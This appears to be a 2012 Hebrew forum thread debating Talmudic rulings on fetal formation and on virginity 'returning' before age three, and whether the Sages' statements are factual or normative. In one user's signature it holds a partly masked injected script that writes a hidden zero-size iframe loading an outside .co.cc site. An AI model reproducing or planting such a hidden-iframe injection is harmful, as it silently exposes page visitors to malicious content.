| נשלח ב-21/6/2012 00:06 |
 |
| |
| מיימוני כתב: |  |
שנית, חכמים מנסים ללמוד לגביו, למרות שאין ממש נפקא מינה מעשית ממנו.
|
|
ברור שיש נפק"מ. עיי"ש ברש"י. [רק לפי ההלכה שלנו אין נפק"מ. אבל זה כבר שייך לך לפתח, איך ולמה נתשנו כ"כ הלכות אלו ממקוריותם, והאם כל החומרות האלה מחייבות היום?
|
|
|
|
| נשלח ב-21/6/2012 00:23 |
|
| |
| מיימוני כתב: | | אלי
לא הבנתי את השימוש הלשוני שלך.
למה הכוונה ב"הרגישו"?
האם אתה יכול להדגים, בסוגיה זו ובמקומות אחרים, איך אתה משתמש במילה זו?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
בוודאי. אולי המילה היא "חוויה דתית".
|
|
|
|
| נשלח ב-21/6/2012 00:52 |
|
| |
יהי,
איני זוכר מה כתבתי שם. אם טענתי שאין משמעות עובדתית להבדל בין שני המספרים זו ודאי טעות. דומני שמה שנכון הוא שהקו הוא נורמטיבי ולא עובדתי. כלומר אם עשו הבדל בין עובר ועוברה יש לזה שורש במציאות העובדתית. אבל עצם הקביעה, מ"א ימים או נ' ימים (וכן פ"א ימים או ק' ימים) היא כנראה נורמטיבית. משתי סיבות: א. השאלה עד כמה העובר צריך להיות ברור ומגובש כדי שנקבע את מינו הלכתית. ב. השאלה כמה מהעוברים (איזה אחוז) צריכים להגיע לרף הזה אחרי מ"א ימים או פ"א ימים, כדי שנקבע זאת כהלכה גורפת (כמו בת שלוש בתוליה חוזרים). שתי הקביעות הללו הן נורמטיביות.
ועוד הערה בשוליים. אין צורך ללכת על קצות אצבעות ולבקש התייחסות. אם אני קורא (ובזמן האחרון אין לי הרבה זמן לזה) ויש לי מה לכתוב - אני כותב (למעט מפלגה מסויימת, כידוע).
|
|
|
|
| נשלח ב-21/6/2012 01:09 |
|
| |
קודם כל, חחח. מצחיק שאתה מנסה לאנוס על חז"ל רציונליות, על ידי אי שימוש ברוח הקודש (מלבד סכולסטיסיזם, בנות קול, הלכות שעברו במסורת 1500 שנה עד תקשור עם לא פחות ולא יותר מאשר אלוהים, תקשורים עם מתים, מלאכים ושדים וכו'. חוץ מזה הרציונליות חוגגת).
דבר שני גם האניסה של הרבה דובדבני מצחיקה. שכן תלמידיו של אותו רבי ישמעאל עצמו, כדי לוודא את מספר האיברים בגופה של אשה, שלקו (=בישלו במים רותחים) אשה (זונה) שהוצאה להורג בידי המלכות ואחר כך ספרו את איבריה כדי להכריע במחלוקת התיאולוגים כמה איברים יש לאדם (בכורות מה.)
http://he.wikisource.org/wiki/%D7%91%D7%9B%D7%95%D7%A8%D7%95%D7%AA_%D7%9E%D7%94_%D7%90
תוקן על ידי thepresent ב- 21/06/2012 01:10:26
|
|
|
|
| נשלח ב-21/6/2012 01:36 |
|
| |
| mdabraham כתב: | | יהי,
איני זוכר מה כתבתי שם. אם טענתי שאין משמעות עובדתית להבדל בין שני המספרים זו ודאי טעות. דומני שמה שנכון הוא שהקו הוא נורמטיבי ולא עובדתי. כלומר אם עשו הבדל בין עובר ועוברה יש לזה שורש במציאות העובדתית. אבל עצם הקביעה, מ"א ימים או נ' ימים (וכן פ"א ימים או ק' ימים) היא כנראה נורמטיבית. משתי סיבות: א. השאלה עד כמה העובר צריך להיות ברור ומגובש כדי שנקבע את מינו הלכתית. ב. השאלה כמה מהעוברים (איזה אחוז) צריכים להגיע לרף הזה אחרי מ"א ימים או פ"א ימים, כדי שנקבע זאת כהלכה גורפת (כמו בת שלוש בתוליה חוזרים). שתי הקביעות הללו הן נורמטיביות.
ועוד הערה בשוליים. אין צורך ללכת על קצות אצבעות ולבקש התייחסות. אם אני קורא (ובזמן האחרון אין לי הרבה זמן לזה) ויש לי מה לכתוב - אני כותב (למעט מפלגה מסויימת, כידוע).
|
|
מהדברים נשמע שבת שלוש בתוליה חוזרים היא קביעה (פסאודו-)מדעית, שהתבססה על ידיעה מדעית (להבדיל מסכולסיסטיקה) על הבדלים באחוזי הבתולין החוזרים במקרה של ביתוק כאשר תקופה קריטית היא סביבות גיל 3, כאשר יש אחוז סף של בנות שבתוליהן חוזרים אם בותקו עד גיל 3, ולאחר גיל 3 האחוז קטן מאחוז הסף. אינני יודע אם וכמה כל הדבר הזה מתקשר עם המציאות (כמובן, עם אפולוגטיקה 'לוגית' חסרת היגיון אפשר לקבוע שאם בקרב בנות 3 חוזרים הבתולין אצל 7.68% מהבנות ובקרב בנות שנתיים חוזרים הבתולין אצל 7.67% מהבנות וההבדל מובהק סטטיסטית, או שיש ירידה לינארית באחוז הבנות שבתוליהן המבותקים חוזרים כאשר ההבדל בין גיל שנתיים לשלוש הוא ההבדל הנ"ל, אפשרי לחז"ל לקבוע קביעה נורמטיבית ש 7.68% הוא אחוז הסף, וזו הכוונה ב"עד 3 כנותן אצבע בעין, מכאן ואילך אין בתוליה חוזרין" הינה שיש הבדל סטטיסטי מובהק בין גיל שנתיים לגיל 3. הרי גם אם ההבדל היה ממש משמעותי זה היה רק ענין של מספר, פה 99.99% חוזרים ופה 0.015% חוזרים. אז רק ענין של הבדל בגודל הפער. מה זה משנה? העיקר שהפער מובהק סטטיסטית. כאילו שאם מנסחים שטות במונחים פלצניים היא הופכת להגיונית יותר), אבל הבה נניח שכך היה נדמה להם על פי הטבע (השתנו הטבעים) והידוע להם בתקופתם.
דא עקא שגם זה לא נכון. או לפחות לא מה שהם עצמם אמרו.
בירושלמי (כתובות פרק א הלכה ב, דף ד עמוד א) נאמר:
אמר רבי אבין: "אקרא לאלהים עליון לאל גומר עלי (תהילים נז)" - בת שלש שנים ויום אחד ונמלכין ב"ד לעברו (את החודש) הבתולין חוזרין (כי עכשיו היא מתחת לגיל 3) ואם לאו אין הבתולין חוזרין:
ברור לחלוטין שזו אינה קביעה נורמטיבית גרידא אלא קביעה מציאותית וטענה אודות השפעה של הפרקטיקה הדתית על הטבע (אחרת אין בכך כל רבותא שקריטריון משפטי שתלוי בזמן מעודכן לפי לוח השנה של מערכת המשפט, ואין בכך שום ראיה לכך שהאל מעדכן את הטבע לפי החלטות הרבנים, המסר שמדרש זה מנסה להחדיר בקוראים. לכל היותר זה מראה שקביעות משפטיות עלולות לעיתים להוביל לאבסורדים). כמובן שזו גם שטות גמורה. כמובן, שערי שקרים מתוך מבוכה על ידי נובו-רציונליסטים לא ננעלו, ובמאמר אפולוגטיקה שמנסה להוכיח בערך מה שמיימוננו היקר מנסה להוכיח פה, נטען שיש מה'אחרונים' המפרשים את הקטע במשמעות נורמטיבית. נו, אם הם אמרו, הם אמרו שטויות, אבל בכל זאת הגיוני לצטט אותם. אבל הנה מצטטים אותם, וברור שגם הם פירשו את הקטע במשמעות של טענה ביחס למציאות, לא מה שמפריע לכותב המאמר לעוות את דבריהם כך שהוא יוכל לתלות את פירושו המעוות לירושלמי באילן גבוה (קצת מזכיר לי את הקשקוש אודות הראב"ד וההגשמה בקרב חכמי צרפת/גרמניה בתקופת הרמב"ם).
המאמר בשם הנפלא: אל תבלבל לי את המוח עם עובדות - שורש היחס שבין מציאות פיזית לבין הלכה
https://s3-eu-west-1.amazonaws.com/shiurim/5771/4-6-lesson.doc
בקיצור ברור שחז"ל הסתמכו על חשיבה פרימיטיבית דיכוטומית ולא סטטיסטית על רצף כנהוג במדע בימינו, והגיעו בדרך כלשהי (סכולסיסטיקה, או שהיה בא להם לקבוע כך) למסקנה שגיל 3 הוא המבחין בין צידי הדיכוטומיה בתולין חוזרים : בתולין אינם חוזרים, וכמובן שלאחר שמישהו המציא הדור הבא כבר שמע מרבו וזה קודש ואין צורך בתימוכין נוספים, ואולי באיזשהו שלב הרב עצמו מתחיל להאמין בזה כמעשיית ג'וחא והתמרים.
תוקן על ידי thepresent ב- 21/06/2012 01:51:14
|
|
|
|
| נשלח ב-21/6/2012 08:15 |
|
| |
פרזנט
מיהו כותב המאמר שהפנית אליו?
|
|
|
|
| נשלח ב-21/6/2012 08:27 |
|
| |
אלי ס
תודה.
עדיין לא הבנתי. היכן הסתמכו חז"ל על חויה דתית כמקור מידע? ומה הפיקו ממנה?
אולי כוונתך לשימוש בבת קול? זה נדיר מאד, לפי מה שמתועד בתלמוד. יש שימוש פרטי, כאותו כהן גדול שאמר ששמע בת קול מגלה את העתיד או את העתיד האפשרי בהיותו בקודש קודשים.
יש כמובן את הנסיון להכריע כבית הלל על פי בת קול, ושוב במחלוקת רבי אליעזר וחכמים. ואכן שם קשה לדעת מה היה טיבה של אותה בת קול. והאם המילים האלו צריכות להיות מובנות כפשטן, כלומר ששמעו באזניהם קול.
כמדומה שהדבר ראוי לעיון באשכול בפני עצמו. (אבל אם אפתח אותו, בתקוה שיהיה לי זמן, יתלוננו שאני מנצל את מעמדי לפתוח יותר מאשכול אחד לשבוע...ובצדק).
לפיכך, אולי תוכל להדגים עוד הסתמכות על בת קול או חויה דתית אחרת כמקור ידע הלכתי או אמפירי.
***
מיכי
שאלה בעברית.
כאשר אתה כותב שקביעה היא נורמטיבית ולא עובדתית, כוונתך שאמירה מהסוג של "בתוליה חוזרים עד גיל 3" או "עוברה מתרקמת רק מ-80 יום" אינה קשורה למציאות אלא היא משפט שמתחפש למשפט עובדה ואינו אלא קביעה משפטית?
כלומר, אם הרב יפסוק, נניח, שעובר נקבה מתרקם ב80 יום, ונניח שיש לנו בירור שעובר מסויים הוא נקבה, זה לא אומר שבאמת נמצא אצלו סימני התרקמות אלא שמותר להפיל כי אין כאן, שוב לפי ההגדרה, אלא "מיא בעלמא"? (=כמו מים)?
***
הנוכח
ברוך השב!
כמה הערות.
שיחה עם שדים אינה מעשה לא רציונלי אם 1. הם קיימים או 2. יש סיבה טובה לשער שהם קיימים 3. יש סימנים ואירועים שמעידים (לפחות לכאורה) על מציאותם.
אני עצמי סבור שאין שדים ולא היו אבל מי שסבור שהיו, ויש לו סיבות טובות להאמין במציאותם (וכמובן צריך לבדוק מה הן סיבות טובות) - זה בלתי רציונלי לא להתייחס אליהם ולא להיזהר מהם.
כוונתי היא להשוות שני מקרים. מי שהיום יודיע שישלח יד לשקע חשמלי מפני ש"אין חשמל" הוא לא רציונלי. מי היה מספר בימי חז"ל שיש תופעה כזו "אלקטריסיטי" היה נתפס כבלתי רציונלי לפי שלא היה לו, אז, בסיס לקביעה כזו (ואיני יודע איך היה מסוגל לפתח השערה כזו).
לעומת זאת, מי שיטען שיש שדים ואפילו במעיין פלוני יש ולכן צריך להיזהר בשעה ששואבים ממנו מים, זה היה יכול להיות רציונלי בדיוק כמו לחשוש שיש אריה במערה הסמוכה למעיין. עד שלא בודקים לא יודעים.
ואולם אני טוען יותר מכך. בניתוח הסוגיה שלנו ביקשתי להראות שאין בה שימוש בייעוץ משדים או ממלאכים. ולא בבת קול.
לגבי האופן שבו נבדקו שאלות מדעיות בעולם העתיק, ברור שלא היו להם המתודות שלנו. ואני משער שהם הסתמכו על שמועות ועל השערות לא זהירות, כמקובל בכל הזמנים והמקומות ההם.
לעיל ציינתי לספר שמביא את ההיסטוריה של ראשוני ניתוחי וניסויי המוח באדם חי, פציינט על שולחן הניתוחים (לצערי טרם נזכרתי בשם הספר). גם שם מסתמכים על אירועים בודדים שהושגו לא בשיטות מוסריות לגמרי.
יש לנו בעיה שלא התקדמנו בה הרבה.
כדי לקדם את המדע אנו זקוקים ל:
ניסויים עם דיווחים. כאן אנו לפעמים עם מעט מדי נתונים בדיוק כמו בעולם העתיק.
אמנם - אנו כן זהירים יותר בחיפוש התאמה בין העולה מן הניסוי לשאר התיאוריות המדעיות שלנו ולכן אנו מוכנים לדחות דיווח שיוביל למסקנות יותר מדי שוברות תיאוריות אחרות.
יש לנו גם כלים מתמטיים ואחרים עשירים יותר לנתח ניסויים.
כל הכלים האלו נאספו במשך דורות. אפשר לראות דוגמאות לעבודה מדעית ראשונית בכתבי רופאים וחוקרים בעולם העתיק. יחסית למה שהיה להם, זה מעורר התפעלות.
אם תוכל להביא דוגמאות להסתמכות על שדים וכאלו זה יהיה אחרת. (וגם אז יש לשים לב שזו תהיה טעות אבל לא בהכרח לא רציונלי).
לגבי ניתוח המת שערכו תלמידי ר' יהושע זה ממש מעין מה שבסוגייתנו, רק שהם ניצלו גופה קיימת ולא קידמו את מותה. וזו דוגמא לבדיקה שהיום היינו מכנים מדעית, הלא כן?
אני משער שגב. דובדבני לא היתה מותחת עליהם ביקורת מפני שניתוחי מתים, להבדיל מהריגה כדי לספק גויות, אינם נחשבים בעינים מודרניות לזלזול ומעשה לא מוסרי, והקידום המדעי חשוב יותר.
ועוד הערה אחרונה: גם אם הטעויות שאתה מזהה כאן הן מצערות ומקוממות, כמדומה שעדיף להסביר אותן בשפה רכה ומאופקת. דברים שנאמרים בעדינות נשמעים יותר מאשר דברים שנאמרים בהתלהבות. מה לעשות, זה טבע האדם. ולי עצמי קל יותר לקרוא דברים שנכתבים באיפוק, ואז אני יכול לחסוך את הזמן והמאמץ הנפשי של סינון ביטויים שמפריעים לי. אני יכול לשתפך שגם לי יש אמונות מלהיבות ויש תופעות שמקוממות אותי. לפעמים אני כותב עליהן אשכולות. אבל גם שם אני משתדל לבטא את עצמי בצורה שהקורא יוכל להתרכז בתוכן. הגע בעצמך. אם התוכן מקומם, לא די בזה? צריך גם להטיח דברים קשים? זה רק יקשה עוד יותר לקבל התייחסות רצינית.
 |
|
|
|
|
| נשלח ב-21/6/2012 08:35 |
|
| |
הנוכח
אני מצטרף להתעניינותו של בעל בעמיו. הדברים עושים רושם עצום! (נכון שקראתי במקופיא).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-21/6/2012 10:12 |
|
| |
מיימוני,
כוונתי לומר שהטענה שבת שלוש בתוליה חוזרים מחייבת ברמה הלהכתית, אבל היא אינה עובדה במובן הפשוט של המילה, וגם לא מתיימרת להיות כזאת.
מאידך, ברור שהיא גם לא מנותקת מהמציאות. כלומר יש מקום לקבוע שהבתולים חוזרים עד גיל שנתיים או חמש, זה תלוי בשאלה מהי רמת הסיכוי לחזרת בתולים שממנו והלאה ניתן לקבוע קביעה נורמטיבית כזאת (כלומר אצל כמה מהילדות זה צריך לחזור כדי שנקבע כאן כלל מחייב).
הדבר דומה לקביעת מהירות מותרת בכביש כלשהו. אפשר לקבוע על 80 קמ"ש (1% סיכון) או על 100 קמ"ש (1.5% סיכון) או על 60 קמ"ש (0.5% סיכון). אז איך בכל זאת נקבעת המהירות הזאת? שום ניסוי מדעי לא יוכל לקבוע זאת. המחוקק מחליט כמה סיכון בעיניו סביר לקחת ומה אסור לקחת (נאמר 1%), ואז הוא מעביר את הרף על מהירות 80 קמ"ש. לכן לא נכון לראות זאת כקביעה עובדתית שממהירות כזו וכזו זה 'מסוכן' ופחות מזה זה לא מסוכן. אי אפשר לקבוע קביעה עובדתית כזו אלא בבעיות בינאריות (שבהן יש רק שתי תוצאות אפשריות: מסוכן או לא).
כך גם לגבי הקביעה האם הסכם מדיני-בטחוני כלשהו הוא מסוכן או לא. זו בעיה מורכבת ויש אחוזי סיכון לכל סוג של הסכם (וגם לאי הסכם). הקביעה שהסכם כלשהו הוא מסוכן אינה קביעה עובדתית, אלא מדינית-אידיאולוגית. ודוק היטב, זה לא בגלל שיש חילוקי דעות בשאלות אלו, כפי שחושבים רבים. אלא זה בגלל שאין מדד לאיזו רמת סיכון נחשבת 'מסוכן' (10%, 40%, 1%?), גם מבחינת אדם בודד שרוצה לגבש דעה בזה.
זוהי בדיוק משמעות הקביעה שבת שלוש בתוליה חוזרים. חז"ל קבעו את הרף שממנו והלאה יש להתייחס לקטנה הזו כמי שבתוליה חוזרים. זוהי קביעה משפטית מחייבת ולא קביעה עובדתית פשוטה. הם קבעו שכאן עובר הרף (כמו שהקביעה שמהירות 80 היא מסוכנת אינה קביעה עובדתית פשוטה, אלא קביעת רף).
אני נוטה להסכים שחז"ל כנראה לא עשו ניסוי מדעי מבוקר כדי להגיע לקביעה הזו, אבל הם גיבשו עמדה לאור הערכת המציאות שלהם. ובכל זאת, שתי הערות על כך:
א. כידוע, באותה תקופה לא היתה הערכה רבה לניסוי מדעי, אם כי מוצאים אצל חז"ל גם ניסויים כאלה, כפי שכתבת באשכולך המקביל על סוגיית נידה.
ב. מעבר לזה, כפי שהסברתי ניסוי לא היה עוזר כל כך, שהרי אין לנו מדד כמה אחוזים בתוצאה יקבעו את ההלכה. אז מה טעם לעשות ניסוי? קובעים רף סביר בעינינו וזהו. האם כשקובעים מהירות מותרת בכביש כלשהו, זה נעשה תמיד אחרי מדידה מה אחוזי הסיכון באותו כביש? ודאי שלא. זוהי התרשמות שקובעת רף שבמובן מסויים הוא שרירותי, אבל אין מנוס מזה.
חשוב על קביעה של שופט שכותב בפס"ד מה חושב/עושה האדם הסביר במצב הנדון. האם זו תוצאה של ניסוי מדעי מבוקר? קדחת. וזה גם לא צריך להיות כזה. זוהי התרשמות כללית, שמטרתה לקבוע רף מחייב ברמה המשפטית. אין דרך אחרת לעשות זאת. מה נמדוד כדי לדעת האם זה אדם סביר? האם 30% שעושים כך קובעים שזהו מעשה סביר? או שמא צריך 40%? ואולי 80%?
לגבי השפעתם של עיבור החודש והשנה על חזרת הבתולים. זו קביעה פשוטה ביותר, וכל מערכת משפטית היתה עושה זאת בדיוק באותה צורה. מכיון שאין רף ברור וכנ"ל, קבעו נורמטיבית שזה יעמוד על גיל 3. יש הבדל בין הגיל הביולוגי לגיל ההלכתי. ההחלטה הסבירה היא שזה יהיה גיל 3 ההלכתי ולא הביולוגי. לא צריך כל פעם לרוץ ללוח השנים הקודמות ולבדוק האם באמצע היתה שנה מעוברת. התאריך הוא הקובע: ילדה שנולדה בר"ח תמוז בשנה X, מבחינה הלכתית בתוליה חוזרים עד ר"ח תמוז של שנה X+3, גם אם התעברה השנה (שאז הסיכוי לחזרת הבתולים מעט גבוה יותר. אז מה?). מה יותר פשוט וברור מזה?! כל מערכת משפטית היתה נוהגת כך.
כל אלו שהפליגו מתוך הלכה זו בשבח עוצמתם של חכמים שמשפיעים על המציאות, עשו זאת מתוך חוסר הבנה, או מתוך רצון דרשני להשפיע על הציבור שלא מבין את המורכבות הזאת לקבל את הקביעה ההלכתית הזאת. אגב, זה אותו חסר הבנה שמגלים המבקרים את חכמים על הקביעה הזו. אלו הם שני צדדים של אותו מטבע.
כל זה פשוט ביותר. כך מתנהגת כל מערכת משפטית בעולם (גם בעולם המודרני, ע"ע האדם הסביר). אין בזה שום בעייה כלל (אלא למי שמחפש בעיות ונהנה מהן).
|
|
|
|
|
| נשלח ב-21/6/2012 10:20 |
|
| |
מיכי
ואעפ"כ מדוע הצמידו את הדרשה לקביעה המשפטית?
אתה יוצא מתוך הנחה שאצל חכמים היתה הפרדה מוחלטת בין הלכה לאגדה, ואני לא בטוח שאכן זו היתה דעתם.
|
|
|
|
| נשלח ב-21/6/2012 10:24 |
|
| |
מיכי
תודה על הביאור.
אנסה לסכם כדי לראות אם הבנתי.
יש קביעות עובדתיות. ויש קביעות משוערות. ויש קביעות נורמטיביות.
עובדה: פעוטה א' נאנסה (רח"ל). היא היתה בת שנתיים. ובתוליה חזרו.
משוער: אם פעוטה ב' תאנס, (רח"ל), אז אם היא היתה פחות מבת שלוש מסתבר באחוז מסויים שבתוליה יחזרו. אם היתה יותר מבת שלוש, סביר שלא. אין לנו דרך לאמוד את הסיכויים של פעוטה מסויימת.
נורמה: עלינו להתייחס לגיל שלוש כאל הקו המפריד.
המשפט הנורמטיבי אם כן מבוסס על הערכת מציאות אבל הוא עצמו אינו בא לטעון טענות לגבי המציאות, ואם רוצים לדייק ממנו, אפשר לדייק ממנו רק הערכות.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-21/6/2012 10:25 |
|
| |
א. מקורות הידע של חז"ל מיוסדים על דעת השם באמצעות התורה שקיבלו מרבותיהם ומה שהבינו בעצמם.
ב. יש דרשות שהינן אסמכתא וראיה מהתורה לדברים שחכמים קיבלו מרבותיהם או לסברות. יש דרשות בה האמת מתגלה לחכמים בדורשם פסוקים, דהיינו התורה מדברת מתוך גרונם.
ג. בגמרא פוסקים הלכה בהתאם להגיון האנושי. על-כן חז"ל התחשבו במציאות של העולם הזה.
ד. הלכה למשה מסיני אלה הלכות שנמסרו מדור לדור ואי-אפשר לדרוש אותן מהכתוב.
כדאי ללמוד בעיון את הקדמת הרמב"ם לפירושו למשנה.
|
|
|
|
| נשלח ב-21/6/2012 10:46 |
|
| |
מיימוני. את ההסתמכות על חוויות דתית ככלי בשאלות רציונאליות הנחת אתה.
לטעמי שלי, ברגע שכלי זה נכנס למשוואה כל השאלות מתייתרות.
ברגע שרגליך דורכות סביב האי רציונאליות, מה לך כי תמשיך להשתמש בכתר ההגיון?
|
|
|
|
| נשלח ב-21/6/2012 10:50 |
|
| |
| מ80 כתב: | | א. מקורות הידע של חז"ל מיוסדים על דעת השם באמצעות התורה שקיבלו מרבותיהם ומה שהבינו בעצמם.
|
|
עברתי בזריזות על האשכול ולא מצאתי איזכור לניסוי מפורסם שערכו חכמים בעצמם בריש סוטה בעניין שיעור ביאה..
א"ר יצחק בר (רב) יוסף א"ר יוחנן כל אחד ואחד בעצמו שיער והאיכא בן עזאי דלא נסיב איבעית אימא נסיב ופירש הוה ואיבעית אימא מרביה שמיע ליה ואיבעית אימא (תהלים כה, יד) סוד ה' ליראיו
(סוטה ד:)
|
|
|
|
| נשלח ב-21/6/2012 11:27 |
|
| |
מיימוני, אכן.
|
|
|
|
|
